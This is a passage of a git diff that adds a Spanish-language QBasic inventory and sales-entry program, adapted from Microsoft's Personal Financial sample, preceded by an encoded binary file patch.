zi*b!+WduezTXIU&WY!X9^sz(@v=8$HSW44$nytZ<4H{6jTM`<;Qmpw80IxZGSk*3s z@FEhYYf73`EU*VxmXu`lXDL-@K-sCOTF}k@(xu#2LRy{-ukgP2-h1yptq+lYAr=HPzVkCnqwl*S z5fG7HBcT&4gdP|Nk5|TrJV(|B8w52*?}{FKI9rWHc#wpyn31^jUL*!zq9$z)^{gaq zUw}E18D$eR#1X#aCEg@kz_IMpd81y4(F?OGcvWQAgnde6veiFWs6D~7aE0*N9fk@` zqDb$O4w&A*1U(TRCN0%%}Nl2ux2}y|XHYq;X5<$xf^wK!> zI5k~_97cMG{!m)$FI7OyzYO)2>bRhugW;hmsS>Rm_;ubVYftBYs@_i60|h3ki4lSr zlQOBim1tflA(4J4`j?pjPc&?AYH7{?BZSotd86I^Q5aw91kiSp2#NGb35oPd2~qvh zaC>FTYwrOIgW5Y}*lF6F*~Tc`=?^xu-U0c(Fq2F>CP5LH~bWDt@@&T{&YB9fJxULcJT z=}UZJR7qm;qqf)0AEwNSkROUKLY^YLVnX6aFV=Z{SYIH}qbWPI`4izALs}xdW3_wG zP}yPq0s5+=vzFX-qsE{JA6f0cUVcEXYISP*TBSEEUy;5tq3Sq-zqG#*Xro`-HniO_O=e`&d1 zKB(cUn_t~L>F&NXQN8KlT0&XOq&LE!hQODUXxvvH@Tr68NUs|Fq+a&bA-`I~r}L}{ ziS(@r347Os=)G$i*ZbEruJ^EMoJv*?*V%}?kpG;R$o!pU zIz@Wjz#jCw>1>LUE2s5C_!z|@?_1+X$TzoI8C~7WBmHxVU-Qtz{nPjw ze2fcnhT)6!)8V3^$J(XAMf&P!FNjE`r<=c?*ln+bV$?3`59zNU9l^W^#~q0X*Byx< zT(BN{M)>b^d8-L|@YG&q_MUD=>b-bc4wb9-{a_)=iAfnsaKE%P)6$iV20{n1a%a(uBbN> zOl#(LDBY8vkF80~(^su^)D4MJgtxEh!(hwW6E0ZLKV~_)y0C|-z4M;t^`m$(6{RqO z(Tfu^7OV`X5vyTWMAl^z2l{l7?Cfc`%*@ZhUzUkAvk&Ync>R9eO_pg6d`2Ox^jzyK__$Xp9iP8g)0d?Uo8mpF-mX))w R(#n@qFREM`Bom_lzW{AJ46*!d8RC35-@Y@`qsraN#ya{}Q620sK(|`XeP=AOVX0 zA+$!>-@LcGcPrA8Vb_0k!P|WwGxO%no0&KB9zP~Qo%E;TS&<}Rn2DCQ%)#a5yJ&gY zYFVPA)Faa3IpYiweTQ6w=t;UNUZSn$b#av*5GTZb@jE(2e?`6^dLB?;!|z4o6?%i7 zLCdYr6Ny8#*&wm^J-m)D(rB{aRD8#KLy&pMJ@+0_!gtR5Nio_sX;lh~W2M@Cf)cjt z*Z!WUW1m%cYQb~s6`N?(+~=NO1_JPguH!rAmWFQX`mhZo)Q7i-(e#X0toR3 zc*@RvcY+d=#f7040F3YOq|w$IP~Blrvf!3nul7Shso8?(mP$veduwHIl-AX8_gn=H zr@;B7Q#fszAU=;m52lA1x!#QD%wIF9t;#}hJP)YJvD0p`;9LgCY<;evDmMjnjMY6) z%L72ITmwHB3^Gf_%6AQF1*M_E!9jE;=8Glg8ipD>Tl7;2GTiDVaFBN~pAj&fcX`^= z0LZ&zV?aRH%-JeqqEL7luxG7O(f+kbsl5BBbzVyc{q0fZzkz+&EAm{8`p{cgiu%xb zRT&<|i1qt#n0P;M6^p>E9(Jo>)A@~&*f3!i{llJBsi}p3{IpwgAS}nJ4DU4cyr41f z1Vsp`)l6g~9OwkA$uLH0n=e+1wbPE>ZzggP!0c)F90shp9>bVV&DjURj$`jL6I~Gy z7xKPS9zJR&GEwWJ?pfzZb-2_F$!)xd!{0O$-4Wzo+twl({;io<7d4MNCC7Jyo}WUi zc;=z(RvG^HnZt^64xa=*LsJPdJ!j#4lf)d_411p6(U~wc--uv3 z2_97lg6j;Z{T{tX&l|~LlqCiEJJk!f3K+16QIdk+JW3~BFrG&lIucOmgmVvD7-l=! zE$2lirBT^VDSUm@dQg+pFSZEE^wNFe0=AwUWr=GKsG10BkEq%(*Jv~CVv@l81~wgr zJ)(NsD6KG0s9Hx*3o&({E!I&Y=qZI|P-LlJf)t7Nm)tq4B+pu2(V8ncaQYkQ>*Ak< z-QtLD>Y*)S6J^N2Hg^fq{R++cuIJRGf7+2l4@paJ1JY;zAK)5>EgX@91ng`Eqdx=8 zE*hlq;{3ehVb_z&K?l&g48U#X5nce?Ccy2j)tvHNX;DsDm4&*s;K)O6-G^@qFeW1m z><)_CIb%IW%j69Di3m$qRo~yxUmMHIJd5?11z{FxdP8vO8TEcay?+SF2%3kSeu@6; z_+ih3Y%kGP@E^>$SebXFH3wFtV--%zf?KMWD}egC=rb{DFOPqnR0*?Lib~5-DH(D1 z5tn*18G~-3T5zQ0 zORH2;T|VysR>3d2m0B-T=mmx8s#B5Zu-!7RnNzDt-pVSJsbQu0_ZFa%7=4Bw6F;Eu zV_xx|GFEiP_2j&D*7f?OQ>$Vv2L=W%63ih}7A=H5aQi@CD)E6>lM^b~>C9m}&TxMU zCA;NC(0_pb2_xYz!}aGOg;efd<6G!iN2%N{l_v$kCgNy_JftdtQ zti!s-aE+RVyc?PwLfSiYS3~CB)o9@wYk3jz$aOt2Hz^NX<{W06w zCHS=jjeFKPsl!3c4Ys{G1y8sJp6VHaTDDQU0%*2bNTA(LJIX&z(SvBk-m0t_@I4Lq zRj}c?(0Y5nlGPrkEH*Z2SdEtlt1?lpVwbVLD&bFd7;7L8Uu3akvS&eLt~`{WKTtY~ zk#0K|L5K8=)68i&>H)%vv&+KgHMRH>dI4WrZBlJ?9I4n}8Pgzv$_4N<17iaU4<3+b zn~hU{J9_>hD&10ObTmo;iB;Za>Sdw04Y&-s4XTY#qoYwmZ>%CabI-w3FvSm}=e4MG zOQF%xC;=o^`LHwhqN3PA+qd^`*T2pj5+{seqHTL$XAW5sYDuo)>C7PqgNCucLQa%9 zM#yF`Pp%`oQeWiB(4rK*XYiU|r?R+@F33HT!w>JTTb^xsa#7C0*Lx#qeCXkPrRI1( zmxl%)o~>8CkvjT#|^7_5^x#lrZihhvTeO}TCruD~yrc!&{MgeQUm z)*PEMlSJ|uwVIa@vEEOd21%U<^~=YtqA%y+a-MP)M@UY>>ZRz+Z8ekF1-6>J8=MgZ zdbfjpa3}3VJ5z!W0T(;XR?xdd_u@TWsF!?8!o6Z=M~cOM(30+)?^GO5+LrIuq?{Ok zc<4jLH8|4r10^>g1*sL5JJ`LZSBGob?i_VQyc+|Q+{5SoCQRBU=`ap@-$gQ zM)DyI9;1GfBzBg7s!zWFP7m#(0|*#Oj-0K+acaz(pg~)-3m)wNB)l8^cL1_pm6qqZ z=V3{<*a!n%|?Es~zoXmRWFfsJL)CWCyI|^@v|A7yAPVCNcg2 zx9rd;YZ7J~@i`qpv;bnFVlzZf93me;v;$(sT5#l%s?>B~ZIIf_2FLp6AVpZCs@p9E z=+4j6G!xk9DD(qs3p>RdwiJziFrb|ZY4b7zHn8Q0Ij!AeQ!=LhyKK;>Jx|@B>Zp^@LU!&q%TbvOm z=zD9+$cH5!j_TPjT{e~xrDzy#%hMIWz(qxmivKwVkaqiSjP?jqZDGs$NZczXVEydZ zPSCq+!&Xh_Cg`kdq7xBBLD6I$(@gOsQNNvT=JNm~i%^xHK89sZFEOV9lx}0cqxO3Wq*~I>Dk)@}ss9+TZ4`pW=m&5s>Awjah@k0V80tsLF6|zSvCHmh9^+%c z!;v=e|6S%kfMMJ`b!E%Yx+anVw4kSa z7w2H;g|6K}hgfHPdOE9Qqcnu~i_RQQI0mt|!Jf2sVJ($rrO=bgy#;;dI%c50NyJ`B zoRjeG1|0Mw2g%?xag?<|Q%j+ab7p4i$(y6tmr%Dw0sD|m-_FvYs)yNEKie<%d)^J< z(QqU>n8KSS+JO^}Ax?wWpe(Xglv~f0I8k*{oIS*<$kOqt{ zal0Og>2@pHI!@-E8g{cT_3l;HnnVn87DM;-1y!t^B)^_pDkQcyG0STAI9? zbF{t-jG*X&<{2LR^3nEqWh|@yw9y8MY@lBkC^V839b9|&a-NAr%B@O)$xl!G0H?eEZ+Zm*A%>l*sl1smC|>~Bxd8rR3q zYJW_Z?QeIGr^f9s7unxVn!pK$K00^|#|w1_`6e<4IVdYdS#~N2z0orGe`k$TkWOfg zjoI%DTH~|-Y}QB|n>E|hT^Nupiub67#`m*T#Pp`;7QIn*wPSsv&g0T9rZ?Sjy`k<% zZ!Ua^`blE^4BCRzG>%N0HRs#Cx7VCMS-+a>&IYY<*?rNPvxB5k9VGp?Q=GnL&1v}P zPvg;f2F?4{w;-LBnsXs&jnDpbXbwDdlfO}#gBX}&5k!~AXd~{ubWD<<{td|O5OE@2 zP_gcs4ah?g)$7`gUK-@cIZtgHXz)R(AntMC{kcELEwsPK8&o;tL>#bl|?>x=k)V_AH9kC~_Brn2}fcJgVgqhU+8+R3Ys>`FVi612u8 z_c`pO4XPOEqp?+6#hv(Oom~;TBVrFDZs4o)NQS$N2*-sL5aI!g9^1?(JTDq5Aw{8adT&_hrlcoRI@t8I}ug}~bKs`Hxn zZ4Ld{2C4lj>q%4A2Vcvu>?d*egW6?N-Pdg5a^uG5)vbK`65RN-s~ew29r}fPq|xxc zM`v42H$hR4qAVBb&{jmx$awXgS9m|goUk@*HdfqG!GGhF2pp}@e6(pT=d+&-Vgq$n z$X>SL^8*Xpw+$ya>U3iT6(upnT^sKZdghnSlep{pnN*Q}ICspIZ@Zdh!8dJ;(U><| zT>KV{<%?T1SohN;9GLg|O<*v>`>U z%ix%KV{tAoLpo{(E43z)z19lc2 literal 0 HcmV?d00001 diff --git a/NEW/JD1.BAS b/NEW/JD1.BAS new file mode 100644 index 0000000..5b47c33 --- /dev/null +++ b/NEW/JD1.BAS @@ -0,0 +1,3919 @@ +DECLARE SUB Vende (r%) +DECLARE SUB Elif () +DECLARE SUB Staul () +DECLARE SUB Ticket (e%) +DECLARE SUB Stock (EE%) +DECLARE SUB Balan (EEE%) +' +' Q B a s i c P e r s o n a l F i n a n c i a l +' +' Copyright (C) Microsoft Corporation 1990 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB Proveedores (lug%) +DECLARE SUB LCenter (text$) +DECLARE SUB ScrollUp () +DECLARE SUB ScrollDown () +DECLARE SUB Initialize () +DECLARE SUB center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB EditTrans (item%) +DECLARE SUB Referencias (op%) +DECLARE SUB ImpRef (po%) +DECLARE SUB ImpComp (so%) +DECLARE FUNCTION Cvdt$ (x#) +DECLARE FUNCTION Cvst$ (x!) +DECLARE FUNCTION Cvit$ (x%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, Col%, start$, end$, vis%, max%) +DECLARE FUNCTION Trim$ (x$) + +'Constants +CONST true = -1 +CONST false = NOT true + +'User-defined types +TYPE AccountType + Title AS STRING * 20 + AType AS STRING * 1 + Desc AS STRING * 50 +END TYPE + +TYPE Recordtype + Date AS STRING * 8 + Ref AS STRING * 10 + Desc AS STRING * 50 + Fig1 AS DOUBLE + Fig2 AS DOUBLE +END TYPE + + + + +'Global variables +DIM SHARED account(1 TO 19) AS AccountType 'Stores the 19 account titles +DIM SHARED ColorPref 'Color Preference +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED ScrollUpAsm(1 TO 7) 'Assembly Language Routines +DIM SHARED ScrollDownAsm(1 TO 7) +DIM SHARED printerr AS INTEGER 'Printer error flag + +DIM SHARED Fecha$(1), fech$(1) + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + OPEN "Personal.cfg" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + FOR a = 1 TO 19 + account(a).Title = "" + account(a).AType = "" + account(a).Desc = "" + NEXT a + SaveState + RESUME + CASE 24, 25 + printerr = true + box 8, 13, 14, 69 + center 11, "La impresora no responde ..." + center 12, "Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + +ErrorCaj: + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, "N" + CLOSE +RESUME NEXT + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'The following data is actually a machine language program to +'scroll the screen up or down very fast using a BIOS call. +DATA &HB8,&H01,&H06,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB +DATA &HB8,&H01,&H07,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB + +SUB Balan (EE%) + +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR a = Row1 + 1 TO Row2 - 1 + LOCATE a, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT a + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'Cvdt$: +' Convert a double precision number to a string WITHOUT a leading space. +FUNCTION Cvdt$ (x#) + + Cvdt$ = RIGHT$(STR$(x#), LEN(STR$(x#)) - 1) + +END FUNCTION + +'Cvit$: +' Convert an integer to a string WITHOUT a leading space. +FUNCTION Cvit$ (x) + Cvit$ = RIGHT$(STR$(x), LEN(STR$(x)) - 1) +END FUNCTION + +'Cvst$: +' Convert a single precision number to a string WITHOUT a leading space +FUNCTION Cvst$ (x!) + Cvst$ = RIGHT$(STR$(x!), LEN(STR$(x!)) - 1) +END FUNCTION + +'EditTrans: +' This is the full-screen editor which allows you to enter and change +' transactions +SUB EditTrans (item%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155) + + + + gf = 0 + box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que realizar la transacci¢n" + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(item) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + CurrFig#(6) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + a = 1 + + WHILE a <= MaxRecord + GET #1, a + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(a) + a = a + 1 + WEND + + GOSUB CargaCienReferencias + + + help$(1) = "Referencia del Producto " + help$(2) = "Producto (sin Referencia o nuevo) " + help$(3) = "Unidades totales " + help$(4) = "Unidades parciales, ( o por caja ) " + help$(5) = "P.V.P. del Producto, ( por unidad )" + help$(6) = "Precio de Costo, ( la unidad ) " + + Col(1) = 2: vis(1) = 6: max(1) = 6 + Col(2) = 9: vis(2) = 22: max(2) = 22 + Col(3) = 32: vis(3) = 5: max(3) = 3 + Col(4) = 38: vis(4) = 5: max(4) = 3 + Col(5) = 44: vis(5) = 10: max(5) = 8 + Col(6) = 55: vis(6) = 10: max(6) = 8 + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 2, 1, 21, 80 + box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(account(item).Title); + 'LOCATE 1, 63: PRINT "Fecha: "; + 'LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "##,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + GOSUB EditTransPrintWholeScreen + bajabarra = 0 + + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditTransGetLine + + finished = false + + GOSUB EditTransPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditTransShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 4) MOD 6 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 6 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + bajabarra = 0 + GOSUB PrintBalances + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + bajabarra = 0 + GOSUB PrintBalances + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN + PRINT USING u6$; CurrFig#(2); + ELSE + PRINT " "; + END IF + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN + PRINT LEFT$(CurrString$(1), vis(2)); + ELSE + PRINT SPACE$(vis(2)) + END IF + + + CASE 3 + IF CurrFig#(3) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(3); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 4 + IF CurrFig#(4) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(4); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 5 + IF CurrFig#(5) <> 0 THEN + PRINT USING u2$; CurrFig#(5); + ELSE + PRINT " "; + END IF + + CASE 6 + IF CurrFig#(6) <> 0 THEN + PRINT USING u2$; CurrFig#(6); + ELSE + PRINT " "; + END IF + + + END SELECT + + RETURN + + +EditTransEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + + CASE 1 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 1001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + + + DO + + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cc#(b) + CurrFig#(5) = Cd#(b) + CurrFig#(6) = Ce#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 16, 24, 19, 49 + IF TopeRef# = 999 THEN + LOCATE 17, 25: PRINT " Lo siento, referencias " + LOCATE 18, 25: PRINT "AGOTADAS, elimine alguna" + ELSE + LOCATE 17, 25: PRINT "Esa Referencia no existe" + LOCATE 18, 25: PRINT "¨ Desea crearla ? (S/N) " + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + IF i$ = "s" OR i$ = "S" THEN + Valpu = 0 + TopeRef# = TopeRef# + 1 + GraDat = 1 + GraCurrDat = CurrTopline + CurrRow - 1 + ELSEIF i$ = "n" OR i$ = "N" THEN CurrFig#(2) = 0 + + END IF + END IF + END IF + + + + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 2 + + + + IF Valpu = 0 THEN + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + END IF + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + + IF CurrFig#(4) <= 100# AND new3# <= 601# OR new3# <= 0 THEN EXIT DO + + IF CurrFig#(4) > 100# AND new3# <= 11 OR new3# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(3) = new3# + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 4 + + IF Valpu = 0 THEN + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + + IF CurrFig#(3) <= 10 AND new4# <= 601 OR new4# <= 0 THEN EXIT DO + IF CurrFig#(3) > 10 AND new4# <= 101 OR new4# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(4) = new4# + + END IF + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 5 + IF Valpu = 0 THEN + + start$ = kbd$ + old3# = CurrFig#(5) + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5# < 0 + a = CurrRecord + + CurrFig#(5) = new5# + + END IF + + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 6 + IF Valpu = 0 THEN + + start$ = kbd$ + old4# = CurrFig#(6) + DO + kbd$ = GetString$(CurrRow + 4, Col(6), start$, new$, vis(6), max(6)) + new6# = VAL(new$) + start$ = "" + LOOP WHILE new6# >= 75001# OR new6# < 0 + a = CurrRecord + + CurrFig#(6) = new6# + + END IF + + GOSUB EditTransPutLine + GOSUB EditTransGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE ELSE + END SELECT + + GOSUB EditTransPrintLine + + RETURN + +EditTransMoveUp: + Valpu = 0 + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditTransGetLine + END IF + GOSUB PrintBalances + RETURN + +EditTransMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditTransGetLine + END IF + END IF + GOSUB PrintBalances + RETURN + +EditTransPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³" + CurrString$(1); ELSE PRINT "³ 